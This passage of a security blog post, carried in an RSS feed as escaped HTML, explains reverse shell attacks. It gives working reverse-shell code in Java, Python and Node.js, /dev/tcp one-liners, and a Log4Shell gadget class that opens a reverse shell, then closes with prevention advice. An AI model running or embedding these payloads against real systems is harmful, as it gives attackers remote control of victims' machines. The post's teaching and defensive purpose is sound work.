       &lt;span class="nc"&gt;InputStream&lt;/span&gt; &lt;span class="n"&gt;pError&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getErrorStream&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
       &lt;span class="nc"&gt;InputStream&lt;/span&gt; &lt;span class="n"&gt;sInput&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getInputStream&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

       &lt;span class="nc"&gt;OutputStream&lt;/span&gt; &lt;span class="n"&gt;pOutput&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOutputStream&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
       &lt;span class="nc"&gt;OutputStream&lt;/span&gt; &lt;span class="n"&gt;sOutput&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getOutputStream&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;

       &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;isClosed&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
           &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pInput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;available&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;sOutput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pInput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;read&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
           &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pError&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;available&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;sOutput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pError&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;read&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
           &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sInput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;available&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;pOutput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;write&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sInput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;read&lt;/span&gt;&lt;span class="o"&gt;());&lt;/span&gt;
           &lt;span class="n"&gt;sOutput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
           &lt;span class="n"&gt;pOutput&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;flush&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
       &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this Java example, we route the process's &lt;code&gt;InputStream&lt;/code&gt; and &lt;code&gt;ErrorStream&lt;/code&gt; to the &lt;code&gt;OutputStream&lt;/code&gt; of the remote socket connection. We also need to do this the other way around and write the &lt;code&gt;Socket OutputStream&lt;/code&gt; into the &lt;code&gt;Inputstream&lt;/code&gt; of the bash process.&lt;/p&gt;

&lt;p&gt;Python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;pty&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;127.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;9001&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dup2&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;fileno&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="n"&gt;fd&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;fd&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)];&lt;/span&gt;
&lt;span class="n"&gt;pty&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this Python script, we connect the stdin, stdout and stderr to the socket connection. In Unix-like systems these are the first three file descriptors. Next we use pty to run &lt;code&gt;bash&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Node.js:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;net&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;net&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;cp&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;sh&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;cp&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;bash&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;[]);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;client&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;net&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Socket&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;9001&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;127.0.0.1&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
   &lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stdin&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="nx"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stdout&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
   &lt;span class="nx"&gt;sh&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;stderr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;pipe&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;client&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This Node.js example is very similar to the Python example. We run &lt;code&gt;bash&lt;/code&gt; and connect the standard file descriptors appropriately to the socket connection.&lt;/p&gt;

&lt;h3&gt;
  
  
  Method 2: Execute a shell command
&lt;/h3&gt;

&lt;p&gt;The second method is a bit shorter. Most languages have a way to execute shell commands like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Runtime.getRuntime()&lt;/code&gt; in Java &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;os.system()&lt;/code&gt; in Python &lt;/li&gt;
&lt;li&gt;
&lt;code&gt;require('child_process').exec()&lt;/code&gt; in Node.js&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We can leverage these functions to call a one-liner shell command that initiates the reverse shell for us.&lt;/p&gt;

&lt;p&gt;Java:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;args&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;IOException&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
   &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
           &lt;span class="s"&gt;"bash"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
           &lt;span class="s"&gt;"-c"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
           &lt;span class="s"&gt;"exec 5&amp;lt;&amp;gt;/dev/tcp/127.0.0.1/9001;cat &amp;lt;&amp;amp;5 | while read line; do $line 2&amp;gt;&amp;amp;5 &amp;gt;&amp;amp;5; done"&lt;/span&gt; &lt;span class="o"&gt;};&lt;/span&gt;

   &lt;span class="nc"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Python:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;bash -c &lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;bash -i 5&amp;lt;&amp;gt; /dev/tcp/127.0.0.1/9001 0&amp;lt;&amp;amp;5 1&amp;gt;&amp;amp;5 2&amp;gt;&amp;amp;5&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Node.js&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;child_process&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;bash -c "bash -i 5&amp;lt;&amp;gt; /dev/tcp/127.0.0.1/9001 0&amp;lt;&amp;amp;5 1&amp;gt;&amp;amp;5 2&amp;gt;&amp;amp;5"&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;When you first execute the netcat command listening to port 9001, before executing this piece of code, you will notice that the connection is established and you can execute shell commands like the one below.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-reverseshell-whoami_command.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fsnyk.io%2Fwp-content%2Fuploads%2Fblog-reverseshell-whoami_command.png" alt="Terminal window containing the "&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You make a reverse shell connection to yourself with all of the above examples. If you want to do this to a remote machine, you obviously need to change the IP address appropriately. Next, remember that even if you have access, the privilege depends on the user running this code on the victim's machine. To get elevated privileges, you might need to do a bit more.&lt;/p&gt;

&lt;h2&gt;
  
  
  Creating a reverse shell attack using a remote code execution vulnerability
&lt;/h2&gt;

&lt;p&gt;To create an actual attack with code examples like this, we need to leverage a code execution vulnerability and insert the code into an existing system. A great example is the &lt;a href="https://snyk.io/blog/log4j-rce-%20log4shell-vulnerability-cve-2021-44228/" rel="noopener noreferrer"&gt;Log4Shell vulnerability&lt;/a&gt; that was discovered in December 2021. It was possible to insert a gadget class that executed code when it was instantiated. Many of the examples showed how to launch the calculator or something harmless. Nevertheless, the code below would create a gadget for this infamous Log4j vulnerability. By exploiting Log4Shell now, you do not start up the calculator anymore but weaponize it into a reversed shell enabler.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Evil&lt;/span&gt; &lt;span class="kd"&gt;implements&lt;/span&gt; &lt;span class="nc"&gt;ObjectFactory&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

   &lt;span class="nd"&gt;@Override&lt;/span&gt;
   &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nc"&gt;Object&lt;/span&gt; &lt;span class="nf"&gt;getObjectInstance&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Object&lt;/span&gt; &lt;span class="n"&gt;obj&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Name&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Context&lt;/span&gt; &lt;span class="n"&gt;nameCtx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Hashtable&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;?,&lt;/span&gt; &lt;span class="o"&gt;?&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;environment&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="kd"&gt;throws&lt;/span&gt; &lt;span class="nc"&gt;Exception&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
       &lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
               &lt;span class="s"&gt;"/bin/bash"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
               &lt;span class="s"&gt;"-c"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
               &lt;span class="s"&gt;"exec 5&amp;lt;&amp;gt;/dev/tcp/127.0.0.1/9001;cat &amp;lt;&amp;amp;5 | while read line; do $line 2&amp;gt;&amp;amp;5 &amp;gt;&amp;amp;5; done"&lt;/span&gt; &lt;span class="o"&gt;};&lt;/span&gt;

       &lt;span class="nc"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cmd&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
       &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
   &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Almost all remote code executions can be used to enable a reverse shell attack. Other recent examples were &lt;a href="https://snyk.io/blog/spring4shell-zero-day-rce-spring-%20framework-explained/" rel="noopener noreferrer"&gt;Spring4Shell&lt;/a&gt; and the &lt;a href="https://snyk.io/blog/cve-2022-33980-apache-commons-configuration-rce-%20vulnerability/" rel="noopener noreferrer"&gt;Apache Commons Configuration RCE&lt;/a&gt;. Both examples were not as problematic as Log4Shell, but you can use either to create a reverse shell attack and possibly control a target machine. Therefore, it's essential to prevent that user input from (partially) being executed.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to prevent reverse shell attacks
&lt;/h2&gt;

&lt;p&gt;If we can prevent an attacker from executing code on your machine, we eliminate almost all possibilities of a reverse shell attack. Let's look at some measures you can take to prevent malicious reverse shell attacks as a developer.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Remove execution statements&lt;/strong&gt;. Statements in your code that can execute scripts or other pieces of code like exec() should be avoided as much as possible. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sanitize and validate inpu&lt;/strong&gt; t. All input must be considered potentially malicious. This is not only direct user input. For instance, when a database field is the input of an execution, somebody can try to attack the database. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run your application with limited privileges&lt;/strong&gt;. Don 't run your application as root but create a user with the least privileges needed. This, unfortunately, happens a lot with applications in Docker containers as the default user in a Docker container is root. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Prevent vulnerabilities that enable remote code execution&lt;/strong&gt;. If a library or framework is compromised, replace it with a secure version.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Almost all remote code executions can be used for a reverse shell attack, even if the use case looks far-fetched.&lt;/p&gt;

&lt;h2&gt;
  
  
  Snyk can help!
&lt;/h2&gt;

&lt;p&gt;Snyk is a helpful tool for preventing reverse shell attacks by scanning code and dependencies. It points out potential security mistakes in your custom code, and scans your dependencies for known vulnerabilities.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://app.snyk.io/login" rel="noopener noreferrer"&gt;Sign up for Snyk's free tier to start scanning.&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>java</category>
      <category>node</category>
      <category>python</category>
    </item>
  </channel>
</rss>
